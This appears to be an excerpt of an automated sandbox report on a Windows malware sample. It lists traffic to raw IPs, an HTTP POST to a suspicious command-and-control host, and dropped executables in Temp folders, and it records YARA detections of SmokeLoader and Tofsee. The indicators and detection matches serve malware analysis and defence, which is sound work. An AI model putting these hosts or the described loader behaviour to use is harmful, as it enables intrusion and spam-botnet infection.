Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171

Source: svchost.exe, 0000002F.00000003.411494738.00000137971EE000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","N equals www.facebook.com (Facebook)
Source: svchost.exe, 0000002F.00000003.411494738.00000137971EE000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","N equals www.twitter.com (Twitter)
Source: svchost.exe, 0000002F.00000003.411494738.00000137971EE000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.411607267.0000013797184000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-07T11:33:20.1626869Z\|\|.\|\|d5cdcec3-04df-404e-ba07-3240047c89f9\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 0000002F.00000003.411494738.00000137971EE000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.411607267.0000013797184000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-07T11:33:20.1626869Z\|\|.\|\|d5cdcec3-04df-404e-ba07-3240047c89f9\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 0000002F.00000003.411494738.00000137971EE000.00000004.00000001.sdmp	String found in binary or memory: hed\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"ProductId":"9NCBCSZSJRSB","Properties":{"FulfillmentData":{"ProductId":"9NCBCSZSJRSB","WuCategoryId":"5c353b9c-7ac7-4d27-af07-923e7d9aa2e2","PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","SkuId":"0011"},"FulfillmentType":"WindowsUpdate","FulfillmentPluginId":null,"Packages":[{"Applications":[{"ApplicationId":"Spotify"}],"Architectures":["x86"],"Capabilities":["internetClient","runFullTrust","Microsoft.storeFilter.core.notSupported_8wekyb3d8bbwe"],"ExperienceIds":[],"MaxDownloadSizeInBytes":104380919,"MaxInstallSizeInBytes":203345920,"PackageFormat":"Appx","PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","MainPackageFamilyNameForDlc":null,"PackageFullName":"SpotifyAB.SpotifyMusic_1.176.447.0_x86__zpdnekdrzrea0","PackageId":"3fbafb47-f476-4c26-4445-49acb9a726e6-X86","PackageRank":30001,"PlatformDependencies":[{"MaxTested":2814750754275328,"MinVersion":2814750710366559,"PlatformName":"Windows.Desktop"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.isMain\":false,\"content.packageId\":\"SpotifyAB.SpotifyMusic_1.176.447.0_x86__zpdnekdrzrea0\",\"content.productId\":\"caac1b9d-621b-4f96-b143-e10e1397740a\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814750754275328,\"platform.minVersion\":2814750710366559,\"platform.target\":3}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"Music\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":3,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":9,\"systemId\":3},{\"level\":81,\"sys
Source: svchost.exe, 0000002F.00000003.411494738.00000137971EE000.00000004.00000001.sdmp	String found in binary or memory: hed\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"ProductId":"9NCBCSZSJRSB","Properties":{"FulfillmentData":{"ProductId":"9NCBCSZSJRSB","WuCategoryId":"5c353b9c-7ac7-4d27-af07-923e7d9aa2e2","PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","SkuId":"0011"},"FulfillmentType":"WindowsUpdate","FulfillmentPluginId":null,"Packages":[{"Applications":[{"ApplicationId":"Spotify"}],"Architectures":["x86"],"Capabilities":["internetClient","runFullTrust","Microsoft.storeFilter.core.notSupported_8wekyb3d8bbwe"],"ExperienceIds":[],"MaxDownloadSizeInBytes":104380919,"MaxInstallSizeInBytes":203345920,"PackageFormat":"Appx","PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","MainPackageFamilyNameForDlc":null,"PackageFullName":"SpotifyAB.SpotifyMusic_1.176.447.0_x86__zpdnekdrzrea0","PackageId":"3fbafb47-f476-4c26-4445-49acb9a726e6-X86","PackageRank":30001,"PlatformDependencies":[{"MaxTested":2814750754275328,"MinVersion":2814750710366559,"PlatformName":"Windows.Desktop"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.isMain\":false,\"content.packageId\":\"SpotifyAB.SpotifyMusic_1.176.447.0_x86__zpdnekdrzrea0\",\"content.productId\":\"caac1b9d-621b-4f96-b143-e10e1397740a\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814750754275328,\"platform.minVersion\":2814750710366559,\"platform.target\":3}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"Music\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":3,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":9,\"systemId\":3},{\"level\":81,\"sys

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xmmufccsxa.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 257Host: host-data-coin-11.com

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.5:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.105:443 -> 192.168.2.5:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49937 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 19.1.vfgiwcs.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.OG9rNsihJ7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.vfgiwcs.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.OG9rNsihJ7.exe.5f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.OG9rNsihJ7.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.BFBD.exe.6c15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.1.BFBD.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.vfgiwcs.6415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.BFBD.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.366966979.00000000004B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.279897390.0000000003031000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.349879535.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.298084613.0000000000680000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.349992094.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.366989519.00000000004D1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.298215878.0000000001FA1000.00000004.00020000.sdmp, type: MEMORY

Source: BFBD.exe, 00000016.00000002.355830576.00000000008EA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

Show sources

Source: Yara match	File source: 42.2.xqfkdfcl.exe.840000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.xqfkdfcl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.svchost.exe.7b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.3136.exe.6c0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.3136.exe.7f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.xqfkdfcl.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.xqfkdfcl.exe.680e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.3.xqfkdfcl.exe.7f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.svchost.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.xqfkdfcl.exe.840000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.3136.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.3136.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.388526176.00000000007F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.524985253.00000000007B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.362218485.00000000007F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.391463142.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.391805380.0000000000680000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.391938773.0000000000840000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3136.exe PID: 5060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xqfkdfcl.exe PID: 5432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3440, type: MEMORYSTR

System Summary:

PE file has nameless sections

Show sources

Source: 3A7E.exe.5.dr	Static PE information: section name:
Source: 3A7E.exe.5.dr	Static PE information: section name:
Source: 3A7E.exe.5.dr	Static PE information: section name:
Source: 3A7E.exe.5.dr	Static PE information: section name:
Source: 3A7E.exe.5.dr	Static PE information: section name:
Source: 3A7E.exe.5.dr	Static PE information: section name:
Source: 7808.exe.5.dr	Static PE information: section name:
Source: 7808.exe.5.dr	Static PE information: section name:
Source: 7808.exe.5.dr	Static PE information: section name:
Source: 7808.exe.5.dr	Static PE information: section name:
Source: 7808.exe.5.dr	Static PE information: section name:
Source: 7808.exe.5.dr	Static PE information: section name:
Source: 9789.exe.5.dr	Static PE information: section name:
Source: 9789.exe.5.dr	Static PE information: section name:
Source: 9789.exe.5.dr	Static PE information: section name:
Source: 9789.exe.5.dr	Static PE information: section name:
Source: 9789.exe.5.dr	Static PE information: section name:
Source: 9789.exe.5.dr	Static PE information: section name:

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6924 -ip 6924

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 0_2_0042A4F0	0_2_0042A4F0
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 0_2_00424E60	0_2_00424E60
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 0_2_0042B2D0	0_2_0042B2D0
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 0_2_005F31FF	0_2_005F31FF
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 0_2_005F3253	0_2_005F3253
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_2_00402A5F	1_2_00402A5F
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_2_00402AB3	1_2_00402AB3
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_1_00402A5F	1_1_00402A5F
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 1_1_00402AB3	1_1_00402AB3
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 18_2_00643253	18_2_00643253
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 18_2_006431FF	18_2_006431FF
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 19_2_00402A5F	19_2_00402A5F
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 19_2_00402AB3	19_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_004027CA	20_2_004027CA
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_00401FF1	20_2_00401FF1
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_0040158E	20_2_0040158E
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_004015A6	20_2_004015A6
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_004015BC	20_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_00411065	20_2_00411065
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_00412A02	20_2_00412A02
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_0040CAC5	20_2_0040CAC5
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_00410B21	20_2_00410B21
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_004115A9	20_2_004115A9
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_0208160C	20_2_0208160C
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_020815DE	20_2_020815DE
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_020815F6	20_2_020815F6
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 22_2_008F8004	22_2_008F8004
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_2_00402A5F	24_2_00402A5F
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_2_00402AB3	24_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_1_00402A5F	24_1_00402A5F
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 24_1_00402B2E	24_1_00402B2E
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00410800	28_2_00410800
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00411280	28_2_00411280
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_004103F0	28_2_004103F0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_004109F0	28_2_004109F0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006D0640	28_2_006D0640
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006D0C40	28_2_006D0C40
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006D0A50	28_2_006D0A50
